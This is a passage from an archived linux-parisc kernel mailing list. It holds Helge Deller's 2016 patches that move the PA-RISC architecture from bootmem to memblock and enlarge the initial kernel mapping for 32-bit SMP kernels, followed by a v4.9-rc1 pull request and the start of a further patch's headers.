	id 1bsWTo-0007Es-Oq
	for glpp-linux-parisc@m.gmane.org; Fri, 07 Oct 2016 16:50:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756691AbcJGOue (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 7 Oct 2016 10:50:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53215 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753368AbcJGOud (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 7 Oct 2016 10:50:33 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0Lz3nU-1aoPJo1o0m-014AGB; Fri, 07 Oct 2016 16:50:25
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:E8kDBpr9NwWKYM6iqgGuQ53fPSUdB1xJX1xZUpITzx5ifettj0S
 fU7j056GSwZAz9+4ce8wDNcCvdLsBXYkteIfxZw+EKG1u7/GNbVZY8WNd64b5H980yD8+nQ
 iAVMsgtbBnnhOY7dqUIf1CC/0I0Ez6Gjt7DmRa+ogVxXjUj5f7zQ6XLYQGA3qfbgIkpKFi3
 BbX5kV327LJWNAe0H76Qw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MSoUsf3SSjs=:u3UeW/KN8v5BqMA6w0phII
 JfKS3H8Aeao1fiBEIduSokaGzPyONhb8owY1bZCPVKc10eWNq38ajhTEzXZj0Xbgip5jmoYCp
 sfih/S9gUrPyuA6QNjLQZVC6FBPrcwwn7IbUtoQ605YPT0lklbQwhTdVIgYZsQ3mZD4byoKFH
 xNg4M2igNrwRGLfeodaK76L7wqlmtE0XkDnYn4bzWBo0Aa4n2NQWQwI49anWVPA/6ebeon3f7
 afOCMTPaJ5S5kCd0IVsKphMhIqCBPyMoUxm9UlPz08gSToGrSlPZEhTF+C7gqN1rlK7F/i0+e
 IlPjgL4qfkH1HUZIpSjEkaRS4+UMTgpmMg6z7rxuEAaTRkgBfWJdCV34Iljljd2sLEd21MTpS
 bWWZfrkeArJoZtsj5wfpzi2lTfz8pKCYypihrBHU3GcBKqBiz07jU1wK4hrUPg9tfsu49nhOU
 Ys/5KVGmY+/h3mKSOZbrToNMYrx6CWMG0l80mEcQIOFdDpZr3+m9W7f7UHK12b9erXiTWwos2
 u9WC5vgYTEkSNGBbaDkKLuTywN7dHf+hCZmb0mADl5MdhXbxfLKngDgZ2axNPpZIhR/nrmz/r
 gUrAB24eU7wo+3nIZxfMHEphbrxAy/31Zuf0Ld1Nsr5ZaRYTUwsjEkvpOD3EK/l5y2GAaWGHb
 VNBEFptb+mxDPi6v7mrCt4lnz1Bx7owV2Uj3KWGnT3sr6Ka+GsVzVckcC+p+27kctoNvgXCKS
 oPTkO47ZH2iP+4r4pmqMY2vPkOdgZOdAsRRi2Cycs8LrmEKAIWZTZagc2Ts=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26975>

Memblock is the standard kernel boot-time memory tracker/allocator. Use it
instead of the bootmem allocator. This allows using kmemleak, CMA and
other features.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 689eb74..2a0339a 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -10,6 +10,8 @@ config PARISC
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
+	select HAVE_MEMBLOCK
+	select NO_BOOTMEM
 	select BUG
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index f3ead0b..5b8fae8 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -138,8 +138,6 @@ SECTIONS
 	/* BSS */
 	BSS_SECTION(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE)
 
-	/* bootmap is allocated in setup_bootmem() directly behind bss. */
-
 	. = ALIGN(HUGEPAGE_SIZE);
 	_end = . ;
 
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 6b3e7c6..356f384 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -14,6 +14,7 @@
 #include <linux/module.h>
 #include <linux/mm.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 #include <linux/delay.h>
 #include <linux/init.h>
@@ -79,6 +80,34 @@ static struct resource sysram_resources[MAX_PHYSMEM_RANGES] __read_mostly;
 physmem_range_t pmem_ranges[MAX_PHYSMEM_RANGES] __read_mostly;
 int npmem_ranges __read_mostly;
 
+/*
+ * get_memblock() allocates pages via memblock.
+ * We can't use memblock_find_in_range(0, KERNEL_INITIAL_SIZE) here since it
+ * doesn't allocate from bottom to top which is needed because we only created
+ * the initial mapping up to KERNEL_INITIAL_SIZE in the assembly bootup code.
+ */
+static void * __init get_memblock(unsigned long size)
+{
+	static phys_addr_t search_addr __initdata;
+	phys_addr_t phys;
+
+	if (!search_addr)
+		search_addr = PAGE_ALIGN(__pa((unsigned long) &_end));
+	search_addr = ALIGN(search_addr, size);
+	while (!memblock_is_region_memory(search_addr, size) ||
+		memblock_is_region_reserved(search_addr, size)) {
+		search_addr += size;
+	}
+	phys = search_addr;
+
+	if (phys)
+		memblock_reserve(phys, size);
+	else
+		panic("get_memblock() failed.\n");
+
+	return __va(phys);
+}
+
 #ifdef CONFIG_64BIT
 #define MAX_MEM         (~0UL)
 #else /* !CONFIG_64BIT */
@@ -118,11 +147,7 @@ static void __init mem_limit_func(void)
 
 static void __init setup_bootmem(void)
 {
-	unsigned long bootmap_size;
 	unsigned long mem_max;
-	unsigned long bootmap_pages;
-	unsigned long bootmap_start_pfn;
-	unsigned long bootmap_pfn;
 #ifndef CONFIG_DISCONTIGMEM
 	physmem_range_t pmem_holes[MAX_PHYSMEM_RANGES - 1];
 	int npmem_holes;
@@ -178,33 +203,29 @@ static void __init setup_bootmem(void)
 	}
 #endif
 
-	if (npmem_ranges > 1) {
-
-		/* Print the memory ranges */
+	/* Print the memory ranges */
+	pr_info("Memory Ranges:\n");
 
-		printk(KERN_INFO "Memory Ranges:\n");
+	for (i = 0; i < npmem_ranges; i++) {
+		struct resource *res = &sysram_resources[i];
+		unsigned long start;
+		unsigned long size;
 
-		for (i = 0; i < npmem_ranges; i++) {
-			unsigned long start;
-			unsigned long size;
+		size = (pmem_ranges[i].pages << PAGE_SHIFT);
+		start = (pmem_ranges[i].start_pfn << PAGE_SHIFT);
+		pr_info("%2d) Start 0x%016lx End 0x%016lx Size %6ld MB\n",
+			i, start, start + (size - 1), size >> 20);
 
-			size = (pmem_ranges[i].pages << PAGE_SHIFT);
-			start = (pmem_ranges[i].start_pfn << PAGE_SHIFT);
-			printk(KERN_INFO "%2d) Start 0x%016lx End 0x%016lx Size %6ld MB\n",
-				i,start, start + (size - 1), size >> 20);
-		}
-	}
-
-	sysram_resource_count = npmem_ranges;
-	for (i = 0; i < sysram_resource_count; i++) {
-		struct resource *res = &sysram_resources[i];
+		/* request memory resource */
 		res->name = "System RAM";
-		res->start = pmem_ranges[i].start_pfn << PAGE_SHIFT;
-		res->end = res->start + (pmem_ranges[i].pages << PAGE_SHIFT)-1;
+		res->start = start;
+		res->end = start + size - 1;
 		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 		request_resource(&iomem_resource, res);
 	}
 
+	sysram_resource_count = npmem_ranges;
+
 	/*
 	 * For 32 bit kernels we limit the amount of memory we can
 	 * support, in order to preserve enough kernel address space
@@ -263,16 +284,9 @@ static void __init setup_bootmem(void)
 	}
 #endif
 
-	bootmap_pages = 0;
-	for (i = 0; i < npmem_ranges; i++)
-		bootmap_pages += bootmem_bootmap_pages(pmem_ranges[i].pages);
-
-	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
-
 #ifdef CONFIG_DISCONTIGMEM
 	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
 		memset(NODE_DATA(i), 0, sizeof(pg_data_t));
-		NODE_DATA(i)->bdata = &bootmem_node_data[i];
 	}
 	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
 
@@ -284,28 +298,24 @@ static void __init setup_bootmem(void)
 
 	/*
 	 * Initialize and free the full range of memory in each range.
-	 * Note that the only writing these routines do are to the bootmap,
-	 * and we've made sure to locate the bootmap properly so that they
-	 * won't be writing over anything important.
 	 */
 
-	bootmap_pfn = bootmap_start_pfn;
 	max_pfn = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long start_pfn;
 		unsigned long npages;
+		unsigned long start;
+		unsigned long size;
 
 		start_pfn = pmem_ranges[i].start_pfn;
 		npages = pmem_ranges[i].pages;
 
-		bootmap_size = init_bootmem_node(NODE_DATA(i),
-						bootmap_pfn,
-						start_pfn,
-						(start_pfn + npages) );
-		free_bootmem_node(NODE_DATA(i),
-				  (start_pfn << PAGE_SHIFT),
-				  (npages << PAGE_SHIFT) );
-		bootmap_pfn += (bootmap_size + PAGE_SIZE - 1) >> PAGE_SHIFT;
+		start = start_pfn << PAGE_SHIFT;
+		size = npages << PAGE_SHIFT;
+
+		/* add system RAM memblock */
+		memblock_add(start, size);
+
 		if ((start_pfn + npages) > max_pfn)
 			max_pfn = start_pfn + npages;
 	}
@@ -317,32 +327,22 @@ static void __init setup_bootmem(void)
 	 */
 	max_low_pfn = max_pfn;
 
-	/* bootmap sizing messed up? */
-	BUG_ON((bootmap_pfn - bootmap_start_pfn) != bootmap_pages);
-
 	/* reserve PAGE0 pdc memory, kernel text/data/bss & bootmap */
 
 #define PDC_CONSOLE_IO_IODC_SIZE 32768
 
-	reserve_bootmem_node(NODE_DATA(0), 0UL,
-			(unsigned long)(PAGE0->mem_free +
-				PDC_CONSOLE_IO_IODC_SIZE), BOOTMEM_DEFAULT);
-	reserve_bootmem_node(NODE_DATA(0), __pa(KERNEL_BINARY_TEXT_START),
-			(unsigned long)(_end - KERNEL_BINARY_TEXT_START),
-			BOOTMEM_DEFAULT);
-	reserve_bootmem_node(NODE_DATA(0), (bootmap_start_pfn << PAGE_SHIFT),
-			((bootmap_pfn - bootmap_start_pfn) << PAGE_SHIFT),
-			BOOTMEM_DEFAULT);
+	memblock_reserve(0UL, (unsigned long)(PAGE0->mem_free +
+				PDC_CONSOLE_IO_IODC_SIZE));
+	memblock_reserve(__pa(KERNEL_BINARY_TEXT_START),
+			(unsigned long)(_end - KERNEL_BINARY_TEXT_START));
 
 #ifndef CONFIG_DISCONTIGMEM
 
 	/* reserve the holes */
 
 	for (i = 0; i < npmem_holes; i++) {
-		reserve_bootmem_node(NODE_DATA(0),
-				(pmem_holes[i].start_pfn << PAGE_SHIFT),
-				(pmem_holes[i].pages << PAGE_SHIFT),
-				BOOTMEM_DEFAULT);
+		memblock_reserve((pmem_holes[i].start_pfn << PAGE_SHIFT),
+				(pmem_holes[i].pages << PAGE_SHIFT));
 	}
 #endif
 
@@ -360,8 +360,7 @@ static void __init setup_bootmem(void)
 			initrd_below_start_ok = 1;
 			printk(KERN_INFO "initrd: reserving %08lx-%08lx (mem_max %08lx)\n", __pa(initrd_start), __pa(initrd_start) + initrd_reserve, mem_max);
 
-			reserve_bootmem_node(NODE_DATA(0), __pa(initrd_start),
-					initrd_reserve, BOOTMEM_DEFAULT);
+			memblock_reserve(__pa(initrd_start), initrd_reserve);
 		}
 	}
 #endif
@@ -439,7 +438,7 @@ static void __init map_pages(unsigned long start_vaddr,
 		 */
 
 		if (!pmd) {
-			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0), PAGE_SIZE << PMD_ORDER);
+			pmd = (pmd_t *) get_memblock(PAGE_SIZE << PMD_ORDER);
 			pmd = (pmd_t *) __pa(pmd);
 		}
 
@@ -458,8 +457,7 @@ static void __init map_pages(unsigned long start_vaddr,
 
 			pg_table = (pte_t *)pmd_address(*pmd);
 			if (!pg_table) {
-				pg_table = (pte_t *)
-					alloc_bootmem_low_pages_node(NODE_DATA(0), PAGE_SIZE);
+				pg_table = (pte_t *) get_memblock(PAGE_SIZE);
 				pg_table = (pte_t *) __pa(pg_table);
 			}
 
@@ -737,7 +735,7 @@ static void __init pagetable_init(void)
 	}
 #endif
 
-	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
+	empty_zero_page = get_memblock(PAGE_SIZE);
 }
 
 static void __init gateway_init(void)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Increase KERNEL_INITIAL_SIZE for 32-bit SMP kernels
Date: Fri, 7 Oct 2016 18:19:55 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20161007161948.GA9496@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475857236 26301 195.159.176.226 (7 Oct 2016 16:20:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 7 Oct 2016 16:20:36 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 07 18:20:32 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bsXsU-0003Fk-8v
	for glpp-linux-parisc@m.gmane.org; Fri, 07 Oct 2016 18:20:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S938762AbcJGQUI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 7 Oct 2016 12:20:08 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52778 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933121AbcJGQUH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 7 Oct 2016 12:20:07 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LsxuQ-1auPvo2vwA-012XhJ; Fri, 07 Oct 2016 18:19:58
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:mfMh8zePNx3Fv9oPndEM5VDHwi/ayxURg2GQEVqAsHC+N+xItJh
 cT0jIKZTZWA8VSyVHgOmPw/YavyE4oyu3SU7Z8V7BY5VBm9kKG9GiHwJJkUZGvqDvHZqo+X
 vpuiaG1rhOX5egy9jIL9fU07mdrldMa1AZAV3RxzK/vLZwU0HHZYTCwq2b9+pMI12vXKZRm
 bCh9Dvl9i6Q1tbvuRlSzQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:xqBH675b3DA=:nssKw0szaoNdexDs6ZKnl0
 HuU/stJksRYjxOm+jQu8JZv5tT55MhOM6zMMTI8aI0s2s9CvfZqKEohmzHShRhsx13cKcEAsR
 /tUokLotfUOKUwgVfdfHX17Efx1x7qSvr/Ks84EauxK0miXt0BQhhUI/3zqKG6kDzsi22qstu
 EUY/XORb6EH28UHn/ZFIOezTpMzfM0ZMlColxvZrxKxhuYLoCvbejqpJQitVla6OjkX7rsti6
 WFdCjNzNbdzGFjcHcxRTDqeqneb2JMjuY4czwzt217c3wbjIi/pFnukiYmL6pZCObhHkGPgVJ
 wPo8TsiGW0CqsOKc1Pe5KWfxU725WATWewNnFQ+UxQhDohUd8djT2H2Zh/DpLJlGbx0AQU+aJ
 O2a8GiwCfuhTU8AycT7tmZ5I7py6nJlKW+/ORlB0n7bL085aATmCMIGGOzgcLxeGJm/HqrAtG
 6CYms/xhuWr7gV5U42h3Xc9yClcg/SlzMybelZzGOE1wBC3oL7EnzlGPamegLPhNzwz8rFUIQ
 akp8IqIBtuFsRNmbli6XW4SRiAnZtkJJE6ZpX3A66YwuFmUPAwuN1dezrxPbeMcuffYCl46JU
 kfpvns6x6N+YSQWQoFC74lKGhn9S62rFbrkTpmsflVJBQwXPIOjAB75wr8X2WfrYtSYa7IK4f
 0gDfF6aCgPCGkuKOhuKju9UK3LAScBvE7MMnrfc+aP+Oyx44ny7sSs2HVqdzdwzUc3Hx56bCT
 fuSiXG2xCHxv4Ffv37GwEkDDnX2Tawuzog6p0uhqnGpt1Ub9iruSv38ws2I=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26976>

Increase the initial kernel default page mapping size for SMP kernels to 32MB
and add a runtime check which panics early if the kernel is bigger than the
initial mapping size.

This fixes boot crashes of 32bit SMP kernels. Due to the introduction of huge
page support in kernel 4.4 and it's required initial kernel layout in memory, a
32bit SMP kernel usually got bigger (in layout, not size) than 16MB.

Cc: stable@vger.kernel.org #4.4+
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 291cee2..e44bdb9 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -83,7 +83,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, (unsigned long)pgd_val(e))
 
 /* This is the size of the initially mapped kernel memory */
-#ifdef CONFIG_64BIT
+#if defined(CONFIG_64BIT) || defined(CONFIG_SMP)
 #define KERNEL_INITIAL_ORDER	25	/* 1<<25 = 32MB */
 #else
 #define KERNEL_INITIAL_ORDER	24	/* 1<<24 = 16MB */
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index f7ea626..81d6f63 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -38,6 +38,7 @@
 #include <linux/export.h>
 
 #include <asm/processor.h>
+#include <asm/sections.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
 #include <asm/machdep.h>	/* for pa7300lc_init() proto */
@@ -140,6 +141,13 @@ void __init setup_arch(char **cmdline_p)
 #endif
 	printk(KERN_CONT ".\n");
 
+	/*
+	 * Check if initial kernel page mappings are sufficient.
+	 * panic early if not, else we may access kernel functions
+	 * and variables which can't be reached.
+	 */
+	if (__pa((unsigned long) &_end) >= KERNEL_INITIAL_SIZE)
+		panic("KERNEL_INITIAL_ORDER too small!");
 
 	pdc_console_init();
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for v4.9-rc1
Date: Fri, 7 Oct 2016 19:04:07 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20161007170407.GA13520@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475859873 26114 195.159.176.226 (7 Oct 2016 17:04:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 7 Oct 2016 17:04:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 07 19:04:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bsYZN-0005lH-LJ
	for glpp-linux-parisc@m.gmane.org; Fri, 07 Oct 2016 19:04:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932268AbcJGREZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 7 Oct 2016 13:04:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57186 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S936419AbcJGREU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 7 Oct 2016 13:04:20 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MQu9K-1bSgGD0CLe-00ULdg; Fri, 07 Oct 2016 19:04:11
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:T61gHIepTYJmoR9/GScDmFkcepyMLmrEFflBT4KQ0MpTdF/CVUY
 GX48VomwPodsh2p/dsS94FzKtE78nEyKAF0SaXIutCrvJcHXYqwp63qJHqnETr1jKva07Hx
 2O1+PPprRmBTd+GXPzRQGtNAmzkCuiqlzZSzHUwkR6EQQjZev7L65qXH1TcX2nbebV7cyp0
 DDwSkecKqyo3dVBIUWDWA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Mas7IuQWPuI=:wzizRWbywhCrih295V2Wpk
 S6FX/NzaEbLnJOpx2qEo1xn08K4EokyKIeQJSbL77mDx59jSLx2D9wHTtNDS0kB4vsVivtoil
 p4loxcGnCy6YvhoMCeA9jaSKt9Y0wuoRW5Tr7D8jJk6L0Sm0XDbdL7JDBrlTcczfk6xeNu/8I
 clFxeuuEf1/xERDbmQ4/l5C8jVXjBQDR3dMYmIgWl9EQFqY7BRMxNkY6pgloCKSRWnrBmTQ0d
 DZPD+Tus8C3BO2O9L7JO/+KcP+4SUhU+0jM0Up0c8iQ74XQ4QYD9NsErhnVNu1m1EvHTLskzQ
 6awOf5iNKWCJzRhA/lqJ4A/77dbPAmFNEWgVRVb7qUwh6FngY+jrCeeC0kscoCHMuvnCtrn6E
 CG28CFPw8y8hxElhE5ucm/SYtwilTzQ/zn5EVTFVT/WtbcABXpkC2wO8dPkHZA5yo2W5hxpsz
 xgWD4uoHHngvXjKj2romy4Z/oDgTu3c0rM0YE7Fjbp5z4hPLCD5WqXpd+CjfUib0VYOZkEAuf
 VAppjl813l7eUtAipVW1mSA+YsTwOTdXU8lZHn6TJW0lB0PN5kb1ERP6z9UqyzAARARPykvzC
 GklBZXuYc0jGS7n0W+MTXGRw+DdmUGhaYEAsnGKqsthaSVxrRlLrGw+wy1mnexDlr1f64kvs7
 u/X29ThfkEY7ExxNe7nHY70jNAQAb/7EGLpMzStvU6K8Kp5ZFMBUuMD0iEiLw28YnRZZGTz20
 f9nMyNkEzMBe5Lf3nY9jCbVB41Mr2/j2nWVtNX478TKZmpLIOVcyrstTIVg=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26977 gmane.linux.kernel:2323069
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26977>

Hi Linus,

please pull the updates for 4.9-rc1 for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.9-1

Changes include:
 
- Fix boot of 32bit SMP kernel (initial kernel mapping was too small)

- Added hardened usercopy checks

- Drop bootmem and switch to memblock and NO_BOOTMEM implementation

- Drop the BROKEN_RODATA config option (and thus remove the relevant code from
  the generic headers and files because parisc was the last architecture which
  used this config option)

- Improve segfault reporting by printing human readable error strings

- Various smaller changes, e.g. dwarf debug support for assembly code, update
  comments regarding copy_user_page_asm, switch to kmalloc_array()

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (9):
      parisc: Drop BROKEN_RODATA config option
      parisc: Check return value of smp_boot_one_cpu()
      parisc: Report trap type as human readable string
      parisc: Fix self-detected CPU stall warnings on Mako machines
      parisc: Move hpmc stack into page aligned bss section
      parisc: Add cfi_startproc and cfi_endproc to assembly code
      parisc: Add hardened usercopy feature
      parisc: Drop bootmem and switch to memblock
      parisc: Increase KERNEL_INITIAL_SIZE for 32-bit SMP kernels

John David Anglin (1):
      parisc: Update comment regarding implementation of copy_user_page_asm

Markus Elfring (1):
      parisc: Use kmalloc_array() in add_system_map_addresses()

 arch/parisc/Kconfig               |   4 +-
 arch/parisc/include/asm/dwarf.h   |  23 +++++++
 arch/parisc/include/asm/linkage.h |  12 ++++
 arch/parisc/include/asm/pgtable.h |   2 +-
 arch/parisc/include/asm/uaccess.h |  48 ++++++++++-----
 arch/parisc/kernel/entry.S        |  46 +++++++-------
 arch/parisc/kernel/hpmc.S         |  16 +++--
 arch/parisc/kernel/inventory.c    |   2 +-
 arch/parisc/kernel/pacache.S      |  84 +++++++++++++------------
 arch/parisc/kernel/real2.S        |  24 +++++---
 arch/parisc/kernel/setup.c        |   8 +++
 arch/parisc/kernel/smp.c          |   4 +-
 arch/parisc/kernel/time.c         |   6 --
 arch/parisc/kernel/vmlinux.lds.S  |   2 -
 arch/parisc/lib/fixup.S           |  16 ++---
 arch/parisc/lib/lusercopy.S       |   8 +--
 arch/parisc/lib/memcpy.c          |  11 ++--
 arch/parisc/mm/fault.c            |  48 ++++++++++++++-
 arch/parisc/mm/init.c             | 126 +++++++++++++++++++-------------------
 include/linux/init.h              |  19 ++----
 init/Kconfig                      |   6 --
 21 files changed, 308 insertions(+), 207 deletions(-)
 create mode 100644 arch/parisc/include/asm/dwarf.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Move exception table into read-only section
Date: Sat, 8 Oct 2016 16:11:13 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20161008141113.GA31533@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475935905 32733 195.159.176.226 (8 Oct 2016 14:11:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 14:11:45 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 08 16:11:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bssLZ-0006Rx-VD
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Oct 2016 16:11:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756910AbcJHOLb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Oct 2016 10:11:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55488 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756096AbcJHOLa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Oct 2016 10:11:30 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MEbYb-1bdh0O02wb-00Fn2J; Sat, 08 Oct 2016 16:11:17
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:HEJdbq9DYI5RqP4HrR+E4rXce+6Wa4KTdwtkWl2cNJN+uyw9BAd
 5G/pviEUdjMm9jf1lJkYBA+AwtlRib9UBQ9w6fQqg58Q1nv2i+O5ocdeBY4EuAPJ3Q3hyo+
 SEhaClxSmXKMyZpm76wSFCXjxxKdxSBlCSk26rx2ZxDEVtSxlwy0HQCErTH5rjDZO3yQEqf
 6Cp4Hx8COnoH8HKxXltUw==
